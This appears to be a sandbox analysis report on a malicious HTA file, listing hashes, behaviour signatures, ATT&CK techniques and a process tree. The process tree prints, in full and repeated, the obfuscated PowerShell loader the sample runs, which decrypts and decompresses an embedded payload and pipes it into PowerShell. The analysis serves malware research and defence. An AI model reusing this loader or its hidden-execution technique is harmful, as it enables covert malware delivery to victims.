3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Resubmissions

21-01-2025 13:39

250121-qx27kswrck 10

21-01-2025 11:57

250121-n4kvrsskfv 10

21-01-2025 11:43

250121-nvpglaslfq 10

21-01-2025 11:26

250121-njtbea1qcp 10

Analysis

max time kernel
117s
max time network
125s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 11:26

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

163.5.169.28/SCAN-atoletter2.hta
Size

1.1MB
MD5

0e02311efc79d0580a3ae453f00cce83
SHA1

77721025336c37d0df3349badaa71e6610c6d429
SHA256

01e20536cc9847e7411bbb0e4d7381774f0e5e4cc86bfd6fdf0e12229d1d2786
SHA512

312589562ec740619629402876f4c077b56e0f3985686a6747c8c1d277f1bb56b41c21ef4fa1054178105a584692d3f6fc09af76e5edf4c6773826836c4b7bae
SSDEEP

1536:y4pLmOmQ7Mf99jXfqe+Wjyosy3vmr/l1vcmafSIm+lIWFR3QXdpkJJ0sVaVMHfFP:y4pLZmQ7CJXReoz3zH

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2880	powershell.exe
2572	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2572	powershell.exe
2572	powershell.exe
2572	powershell.exe
2284	powershell.exe
2880	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe
Token: SeDebugPrivilege	2880	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 2572	2356	mshta.exe	30
PID 2356 wrote to memory of 2572	2356	mshta.exe	30
PID 2356 wrote to memory of 2572	2356	mshta.exe	30
PID 2356 wrote to memory of 2572	2356	mshta.exe	30
PID 2572 wrote to memory of 2716	2572	powershell.exe	32
PID 2572 wrote to memory of 2716	2572	powershell.exe	32
PID 2572 wrote to memory of 2716	2572	powershell.exe	32
PID 2572 wrote to memory of 2716	2572	powershell.exe	32
PID 2716 wrote to memory of 2880	2716	cmd.exe	34
PID 2716 wrote to memory of 2880	2716	cmd.exe	34
PID 2716 wrote to memory of 2880	2716	cmd.exe	34
PID 2716 wrote to memory of 2880	2716	cmd.exe	34
PID 2716 wrote to memory of 2284	2716	cmd.exe	35
PID 2716 wrote to memory of 2284	2716	cmd.exe	35
PID 2716 wrote to memory of 2284	2716	cmd.exe	35
PID 2716 wrote to memory of 2284	2716	cmd.exe	35

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter2.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $TDohU = 'AAAAAAAAAAAAAAAAAAAAAGsUUyZG1ov5a02EsZJ08iND6xtNaHYueIFf1KEbO8sk6iRxkUH3rWkOAU2b0zAIoNDqn+SH7Et754c/eWo/FTHSM0ibAvSB25VdT1n9VfcCtPHYpqmPvh3/RPsjfIQUKE56y3aJwh+C+6prv6udKMhq6/bu51o5kW4qWK0WJvFNbh7djNDcp6ObqNDm65yNdNGC56NxipDnOb72Jt/hXcEo7D1isT4TKr535ODPJvaI8HUXtJM3ClSSm0Ijy8uYD0fus5OdPcwHgyuDGT42w0YQDNxEe29suowP6LjtonRF1xKidUSTlND00BVHohDGk5ikVRbSO34/KkafXPhyrhsPE2t3LbSkUDqSmZv8GctQ4bvdAxnMZLG75kqnZBxLxsrOAMA+Bc6GuMtW4oYBqQXb1T1jRhD9Lupu2G7rxLcR306ybq7DbdROSKmNTlswEbrYF+/i1JzdgtuCtzzB9GtKHAsWvGX6N9u1CSIF2nmS9DducoqHw1EyXJ5k2R4p2awO/rtmbi3v+ic4+HHDiCinin3b6l4XtCW64wdrjdJUYiv7fb9T/3Mm2Nv8v3J5RMxTMp18zFhibOzh14ttVEZethW6zH423U3uiE1qbrIwhZ4a5JZF+B8+kOExz7Og/rZnvuDGvEUng5eRpNheajm35u+F6fUHiF+O7jERqGWAf2mXVbjy4Ii12TJTc2Ox/90Zsb+zpAyHNgW51au22US+8X19SI7Jj2GSp8v/dfDdaHq1aR6OhjJgBz8vusp1RFpFSLgKE6DaruPbL/Ze+T9RoygxoTFcFRLg+9GSO/Yns98FQkwt+o62ub8c37H/YislraFfTc4ZgCb/xou0D9sQRp44NzPCruSq74SL3BkUGDdbsO7EbUnPF9qpdnOJYz8BWbK2TjasowEJzSZDTY1Mmns6JKjTha+1Pxh7bKitckYPldLE2s3Yur8ww6tlx1cRFFoD2Z/eP4AAdwKEn6V3x79FfZSRQbanYSa0e8NkfarxWqPZR2q7Ldyc1U/i1g==';$QhjpuY = 'T1Vab3RURHF4R1RIQVJ6TWJoTmJERVNYQ2lsemFMYXE=';$XNjmYUUU = New-Object 'System.Security.Cryptography.AesManaged';$XNjmYUUU.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XNjmYUUU.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XNjmYUUU.BlockSize = 128;$XNjmYUUU.KeySize = 256;$XNjmYUUU.Key = [System.Convert]::FromBase64String($QhjpuY);$ZbOvE = [System.Convert]::FromBase64String($TDohU);$CGfOYIRO = $ZbOvE[0..15];$XNjmYUUU.IV = $CGfOYIRO;$LwrOMzefd = $XNjmYUUU.CreateDecryptor();$ldlRDguUf = $LwrOMzefd.TransformFinalBlock($ZbOvE, 16, $ZbOvE.Length - 16);$XNjmYUUU.Dispose();$ynpPY = New-Object System.IO.MemoryStream( , $ldlRDguUf );$CCVny = New-Object System.IO.MemoryStream;$WXaAoEGtt = New-Object System.IO.Compression.GzipStream $ynpPY, ([IO.Compression.CompressionMode]::Decompress);$WXaAoEGtt.CopyTo( $CCVny );$WXaAoEGtt.Close();$ynpPY.Close();[byte[]] $gLXiEJ = $CCVny.ToArray();$mrjDyZl = [System.Text.Encoding]::UTF8.GetString($gLXiEJ);$mrjDyZl | powershell - }
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $TDohU = 'AAAAAAAAAAAAAAAAAAAAAGsUUyZG1ov5a02EsZJ08iND6xtNaHYueIFf1KEbO8sk6iRxkUH3rWkOAU2b0zAIoNDqn+SH7Et754c/eWo/FTHSM0ibAvSB25VdT1n9VfcCtPHYpqmPvh3/RPsjfIQUKE56y3aJwh+C+6prv6udKMhq6/bu51o5kW4qWK0WJvFNbh7djNDcp6ObqNDm65yNdNGC56NxipDnOb72Jt/hXcEo7D1isT4TKr535ODPJvaI8HUXtJM3ClSSm0Ijy8uYD0fus5OdPcwHgyuDGT42w0YQDNxEe29suowP6LjtonRF1xKidUSTlND00BVHohDGk5ikVRbSO34/KkafXPhyrhsPE2t3LbSkUDqSmZv8GctQ4bvdAxnMZLG75kqnZBxLxsrOAMA+Bc6GuMtW4oYBqQXb1T1jRhD9Lupu2G7rxLcR306ybq7DbdROSKmNTlswEbrYF+/i1JzdgtuCtzzB9GtKHAsWvGX6N9u1CSIF2nmS9DducoqHw1EyXJ5k2R4p2awO/rtmbi3v+ic4+HHDiCinin3b6l4XtCW64wdrjdJUYiv7fb9T/3Mm2Nv8v3J5RMxTMp18zFhibOzh14ttVEZethW6zH423U3uiE1qbrIwhZ4a5JZF+B8+kOExz7Og/rZnvuDGvEUng5eRpNheajm35u+F6fUHiF+O7jERqGWAf2mXVbjy4Ii12TJTc2Ox/90Zsb+zpAyHNgW51au22US+8X19SI7Jj2GSp8v/dfDdaHq1aR6OhjJgBz8vusp1RFpFSLgKE6DaruPbL/Ze+T9RoygxoTFcFRLg+9GSO/Yns98FQkwt+o62ub8c37H/YislraFfTc4ZgCb/xou0D9sQRp44NzPCruSq74SL3BkUGDdbsO7EbUnPF9qpdnOJYz8BWbK2TjasowEJzSZDTY1Mmns6JKjTha+1Pxh7bKitckYPldLE2s3Yur8ww6tlx1cRFFoD2Z/eP4AAdwKEn6V3x79FfZSRQbanYSa0e8NkfarxWqPZR2q7Ldyc1U/i1g==';$QhjpuY = 'T1Vab3RURHF4R1RIQVJ6TWJoTmJERVNYQ2lsemFMYXE=';$XNjmYUUU = New-Object 'System.Security.Cryptography.AesManaged';$XNjmYUUU.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XNjmYUUU.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XNjmYUUU.BlockSize = 128;$XNjmYUUU.KeySize = 256;$XNjmYUUU.Key = [System.Convert]::FromBase64String($QhjpuY);$ZbOvE = [System.Convert]::FromBase64String($TDohU);$CGfOYIRO = $ZbOvE[0..15];$XNjmYUUU.IV = $CGfOYIRO;$LwrOMzefd = $XNjmYUUU.CreateDecryptor();$ldlRDguUf = $LwrOMzefd.TransformFinalBlock($ZbOvE, 16, $ZbOvE.Length - 16);$XNjmYUUU.Dispose();$ynpPY = New-Object System.IO.MemoryStream( , $ldlRDguUf );$CCVny = New-Object System.IO.MemoryStream;$WXaAoEGtt = New-Object System.IO.Compression.GzipStream $ynpPY, ([IO.Compression.CompressionMode]::Decompress);$WXaAoEGtt.CopyTo( $CCVny );$WXaAoEGtt.Close();$ynpPY.Close();[byte[]] $gLXiEJ = $CCVny.ToArray();$mrjDyZl = [System.Text.Encoding]::UTF8.GetString($gLXiEJ);$mrjDyZl | powershell -
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2716
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $TDohU = 'AAAAAAAAAAAAAAAAAAAAAGsUUyZG1ov5a02EsZJ08iND6xtNaHYueIFf1KEbO8sk6iRxkUH3rWkOAU2b0zAIoNDqn+SH7Et754c/eWo/FTHSM0ibAvSB25VdT1n9VfcCtPHYpqmPvh3/RPsjfIQUKE56y3aJwh+C+6prv6udKMhq6/bu51o5kW4qWK0WJvFNbh7djNDcp6ObqNDm65yNdNGC56NxipDnOb72Jt/hXcEo7D1isT4TKr535ODPJvaI8HUXtJM3ClSSm0Ijy8uYD0fus5OdPcwHgyuDGT42w0YQDNxEe29suowP6LjtonRF1xKidUSTlND00BVHohDGk5ikVRbSO34/KkafXPhyrhsPE2t3LbSkUDqSmZv8GctQ4bvdAxnMZLG75kqnZBxLxsrOAMA+Bc6GuMtW4oYBqQXb1T1jRhD9Lupu2G7rxLcR306ybq7DbdROSKmNTlswEbrYF+/i1JzdgtuCtzzB9GtKHAsWvGX6N9u1CSIF2nmS9DducoqHw1EyXJ5k2R4p2awO/rtmbi3v+ic4+HHDiCinin3b6l4XtCW64wdrjdJUYiv7fb9T/3Mm2Nv8v3J5RMxTMp18zFhibOzh14ttVEZethW6zH423U3uiE1qbrIwhZ4a5JZF+B8+kOExz7Og/rZnvuDGvEUng5eRpNheajm35u+F6fUHiF+O7jERqGWAf2mXVbjy4Ii12TJTc2Ox/90Zsb+zpAyHNgW51au22US+8X19SI7Jj2GSp8v/dfDdaHq1aR6OhjJgBz8vusp1RFpFSLgKE6DaruPbL/Ze+T9RoygxoTFcFRLg+9GSO/Yns98FQkwt+o62ub8c37H/YislraFfTc4ZgCb/xou0D9sQRp44NzPCruSq74SL3BkUGDdbsO7EbUnPF9qpdnOJYz8BWbK2TjasowEJzSZDTY1Mmns6JKjTha+1Pxh7bKitckYPldLE2s3Yur8ww6tlx1cRFFoD2Z/eP4AAdwKEn6V3x79FfZSRQbanYSa0e8NkfarxWqPZR2q7Ldyc1U/i1g==';$QhjpuY = 'T1Vab3RURHF4R1RIQVJ6TWJoTmJERVNYQ2lsemFMYXE=';$XNjmYUUU = New-Object 'System.Security.Cryptography.AesManaged';$XNjmYUUU.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XNjmYUUU.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XNjmYUUU.BlockSize = 128;$XNjmYUUU.KeySize = 256;$XNjmYUUU.Key = [System.Convert]::FromBase64String($QhjpuY);$ZbOvE = [System.Convert]::FromBase64String($TDohU);$CGfOYIRO = $ZbOvE[0..15];$XNjmYUUU.IV = $CGfOYIRO;$LwrOMzefd = $XNjmYUUU.CreateDecryptor();$ldlRDguUf = $LwrOMzefd.TransformFinalBlock($ZbOvE, 16, $ZbOvE.Length - 16);$XNjmYUUU.Dispose();$ynpPY = New-Object System.IO.MemoryStream( , $ldlRDguUf );$CCVny = New-Object System.IO.MemoryStream;$WXaAoEGtt = New-Object System.IO.Compression.GzipStream $ynpPY, ([IO.Compression.CompressionMode]::Decompress);$WXaAoEGtt.CopyTo( $CCVny );$WXaAoEGtt.Close();$ynpPY.Close();[byte[]] $gLXiEJ = $CCVny.ToArray();$mrjDyZl = [System.Text.Encoding]::UTF8.GetString($gLXiEJ);$mrjDyZl
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2880
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
07f0c1a90dcd9f7bb39e8c1914a58c0b

SHA1
93ccc838f1433fa7ed009ac94fc8ee6692376f34

SHA256
8fd25cb88ad960d11dda4ac3e585311e7e2eb5adc5d5eb97e175391a78605a89

SHA512
7f2fdf98e0fa3fb3265d9b09b4a944a4e3a314b6628dfbf0c7814675a74372fec8194fb21c32025275a4641a3e814b3b44583f4a259dfe015ab7554607cbd3af

Download Submit
memory/2572-2-0x00000000028F0000-0x0000000002930000-memory.dmp

Filesize
256KB

Download